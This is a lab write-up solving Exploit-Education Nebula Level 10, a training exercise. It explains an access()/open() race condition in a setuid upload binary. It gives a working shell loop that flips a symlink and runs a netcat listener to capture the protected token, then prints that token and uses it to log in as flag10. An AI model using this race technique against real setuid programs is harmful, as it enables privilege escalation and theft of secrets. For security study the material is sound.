Exploit-Education Nebula Level 10

3 minute read

Exploit Education Level 10

Challenge

The setuid binary at /home/flag10/flag10 binary will upload any file given, as long as it meets the requirements of the access() system call. To do this level, log in as the level10 account with the password level10. Files for this level can be found in /home/flag10.

Analysis

Looking at the code we can see that the binary uses port 18211 for uploading the file. Lets start a netcat listner and try uploading a file

level10@nebula:~$ cd /home/flag10
level10@nebula:/home/flag10$ ls -la
total 14
drwxr-x--- 2 flag10 level10   93 2011-11-20 21:22 .
drwxr-xr-x 1 root   root     120 2012-08-27 07:18 ..
-rw-r--r-- 1 flag10 flag10   220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag10 flag10  3353 2011-05-18 02:54 .bashrc
-rwsr-x--- 1 flag10 level10 7743 2011-11-20 21:22 flag10
-rw-r--r-- 1 flag10 flag10   675 2011-05-18 02:54 .profile
-rw------- 1 flag10 flag10    37 2011-11-20 21:22 token
level10@nebula:/home/flag10$ nc -l 18211 >> /home/level10/output &
[1] 3038
level10@nebula:/home/flag10$ echo "test" > /home/level10/test
level10@nebula:/home/flag10$ ./flag10 /home/level10/test 127.0.0.1
Connecting to 127.0.0.1:18211 .. Connected!
Sending file .. wrote file!
[1]+  Done                    nc -l 18211 >> /home/level10/output
level10@nebula:/home/flag10$ cat /home/level10/output
.oO Oo.
test

Alright it works. So it copies any files which we have permission to read. But we want to copy token but we don’t have access to token.

Vulnerability

access() syscall vulnerability

Warning: Using access() to check if a user is authorized to, for example, open a file before actually doing so using open(2) creates a >security hole, because the user might exploit the short time interval between checking and opening the file to manipulate it. For this >reason, the use of this system call should be avoided.

So the vulnerability is that during the short interval between the access() syscall and the opening the file we can modify the file such that we can read the contents of a different file.

In the following code the system checks if we have access to the file and if we do then copies the contents of the file. There is a few milliseconds gap between the check and the writing of the file. If we use a file which points to a file we have access to using symlink, it will pass the access check and then if we can change the symlink to point to the token file before the write we will be able to copy the contents of the token file. Lets see how we can do that.

if(access(argv[1], R_OK) == 0) {
      int fd;
      int ffd;
      int rc;
      struct sockaddr_in sin;
      char buffer[4096];

      printf("Connecting to %s:18211 .. ", host); fflush(stdout);

      fd = socket(AF_INET, SOCK_STREAM, 0);

      memset(&sin, 0, sizeof(struct sockaddr_in));
      sin.sin_family = AF_INET;
      sin.sin_addr.s_addr = inet_addr(host);
      sin.sin_port = htons(18211);

      if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -1) {
          printf("Unable to connect to host %s\n", host);
          exit(EXIT_FAILURE);
      }
      if(write(fd, HITHERE, strlen(HITHERE)) == -1) {
          printf("Unable to write banner to host %s\n", host);
          exit(EXIT_FAILURE);
      }

Solution

Lets write a script to use the milliseconds of gap between the access and write

level10@nebula:~$ echo "fake" >> /tmp/faketoken
level10@nebula:~$ touch sym_link
level10@nebula:~$ cat run.sh
for i in {1..1000}; do nc -l 18211 >> out; done &
for i in {1..1000}; do ln -sf /tmp/faketoken /home/level10/sym_token;ln -sf /home/flag10/token /home/level10/sym_token; done &
for i in {1..1000}; do /home/flag10/flag10 /home/level10/sym_token 127.0.0.1; done &

The first line keeps on starting a netcat listener and writes the output to a file named out
The second line keeps on changing the symlink of /home/level10/sym_token form a file in /tmp directory to the token file
The third line keeps on writing the file that is pointed to by the file /home/leve10/sym_token
And within the 1000 iterations we will reach a point at which the file /home/level10/sym_token will point to the file in tmp directory when access is called but will point to token file when write call is made

Lets check the contents of out file

level10@nebula:~$ ./run.sh
level10@nebula:~$ cat out | grep -v "o" | less
fake
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
fake
fake
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27
615a2ce1-b2b5-4c76-8eed-8aa5c4015c27

[Your terminal might keep on writing output. In that case you will have to open a new terminal to see the output]
Lets try logging in using the token we got

level10@nebula:~$ cat out | grep -v "o" | less
level10@nebula:~$ su -l flag10
Password:
flag10@nebula:~$ getflag
You have successfully executed getflag on a target account

Solved